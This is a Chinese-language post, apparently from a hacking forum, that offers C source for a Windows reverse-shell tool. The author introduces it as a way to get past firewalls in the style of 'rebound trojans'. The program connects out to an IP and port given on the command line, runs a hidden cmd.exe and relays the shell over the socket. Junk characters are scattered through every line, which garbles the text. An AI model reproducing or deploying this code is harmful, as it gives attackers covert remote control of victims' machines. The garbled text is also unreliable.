这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~uz 4
KZSvT{
/* ============================== [ !#<nY/C
Rebound port in Windows NT {QTnVS't 0
By wind,2006/7 4&([<gyR<
===============================*/ m339Y2%=
#include -V)DKf"f
#include -:o4|&g<*
P ||:?3IH
#pragma comment(lib,"wsock32.lib") 2hI|]p
*_7%n-k
void OutputShell(); V0x;*)\PYm
SOCKET sClient; rSvQarT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &?#G)suP
vmZyvJSE
void main(int argc,char **argv) 0?
QTi(
{ nB1[OB{
WSADATA stWsaData; ,P9q[
int nRet; \P|PAU@,
SOCKADDR_IN stSaiClient,stSaiServer; G\1\L*+0
B#K{Y$!v
if(argc != 3) qKg*/)sD(
{ 5L4{8X0X8
printf("Useage:\n\rRebound DestIP DestPort\n"); 3KW4 ]qo~
return; gK8{ =A0c
} zn'F9rWx>
F"<TV&xf
WSAStartup(MAKEWORD(2,2),&stWsaData); &{c.JDO
hf~'EdU
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G F-\WD
P[E5e+A)
stSaiClient.sin_family = AF_INET; 89[5a
stSaiClient.sin_port = htons(0); ub/9T-#l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =
j,Hxq
Y[ciT)
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TxD,A0
{ 54%@q[-
printf("Bind Socket Failed!\n"); 'dstAlt?
return; x4C}AyR
} "ebm3t@C
S3iXG
@
stSaiServer.sin_family = AF_INET; ~S, R`wo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d/O~"d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eJJD'Z
rv\m0*\<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N1 }#6YNw
{ ;5bzXW#U
printf("Connect Error!"); $&Ntdn
return; fvDt_g9 oI
} pp#xN/V#a
OutputShell(); ~<?+(V^D
} ,33[/j
L:ox$RU
void OutputShell() $6evK~
{ /uM;g9 m
char szBuff[1024]; '*~_!lE5
SECURITY_ATTRIBUTES stSecurityAttributes; |KHaL?
OSVERSIONINFO stOsversionInfo; `H.~#$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,X05&'@Z
STARTUPINFO stStartupInfo; a$*)d($
char *szShell; q`l%NE
PROCESS_INFORMATION stProcessInformation; oWu2}#~z_
unsigned long lBytesRead; T5g}z5~"
x9s7:F
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =skw@c^
ur,!-t(~t
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {WE1^&Vk-}
stSecurityAttributes.lpSecurityDescriptor = 0; s^{hdCCl67
stSecurityAttributes.bInheritHandle = TRUE; 9BJP|L%q
PE~umY]
_qq> 43
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CHeU?NtFps
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Stkyz:,(
Ca&5"aki
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iz&$q]P8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {hzU
stStartupInfo.wShowWindow = SW_HIDE; S4m??B
stStartupInfo.hStdInput = hReadPipe; ,F,\bp }
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '
DZYN {}
6 K+DgNK
GetVersionEx(&stOsversionInfo); (}W+W\.
kPm{ tc
switch(stOsversionInfo.dwPlatformId) ETw7/S${
{ ]ZD W+<
case 1: `u zR!^X
szShell = "command.com"; vU:FDkx*nn
break; H\Y5Fd9)
default: ?*36&Iq}
szShell = "cmd.exe"; ^u?#fLr
break; g ni=S~u
} "0Wi-52=V
! z^%$;p
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vdn`PS'#
qgT~yDm
send(sClient,szMsg,77,0); CEwMPPYnD
while(1) |,3>A@
{ TSGJ2u5ie%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g[Z$\A?ZbZ
if(lBytesRead) uANG_sX^n
{ jT~PwDSFt3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6zmt^U
send(sClient,szBuff,lBytesRead,0); %V,2,NCd
} Nl[]8G};
else =6XJr7Ay8u
{ gn2*'_V~3
lBytesRead=recv(sClient,szBuff,1024,0); 7,MDFO{n
if(lBytesRead<=0) break; [g bYIwL.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0zQ^ 6@
} ne]P -50
} c>_tV3TDA
>MuI-^3
return; 9{D u)k
}